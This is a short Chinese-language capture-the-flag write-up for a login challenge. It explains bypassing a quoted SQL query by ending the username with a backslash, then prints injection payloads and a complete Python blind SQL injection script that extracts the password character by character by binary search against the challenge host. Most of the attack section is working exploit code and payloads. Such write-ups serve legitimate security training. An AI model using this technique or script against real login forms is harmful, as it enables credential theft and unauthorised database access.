知识点:\转义符
进行sql注入绕过,sql盲注
解题过程
首先是个这样的登录界面,在hint.txt
中可以找到sql语句
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
根据这个语句,可以使用\
转义符,将$_POST["username"]
后的'
进行转义,然后使得$_POST["username"]
的第一个引号和$_POST["password"]
的第一个引号进行闭合,然后之后的password
通过#
结尾即可
测试
输入
username: admin\
password: or/**/(2>1)#
盲注脚本
根据这个可以写脚本
import requests
import time
url= 'http://79c017a5-f4df-4057-83f8-315fcae911e9.node4.buuoj.cn:81/index.php'
result = ''
data = {
"username":"admin\\",
"password":""
}
for i in range(1,50):
print(i)
low = 32
high = 127
mid = (low + high)>>1
while(low < high):
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
data['password'] = payload
r = requests.post(url = url,data = data)
time.sleep(0.05)
if r.status_code == 429:
print("too fast")
time.sleep(0.5)
if "BJD needs to be stronger" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high)>>1
if(mid == 32 or mid == 127):
break
result += chr(mid)
print(result)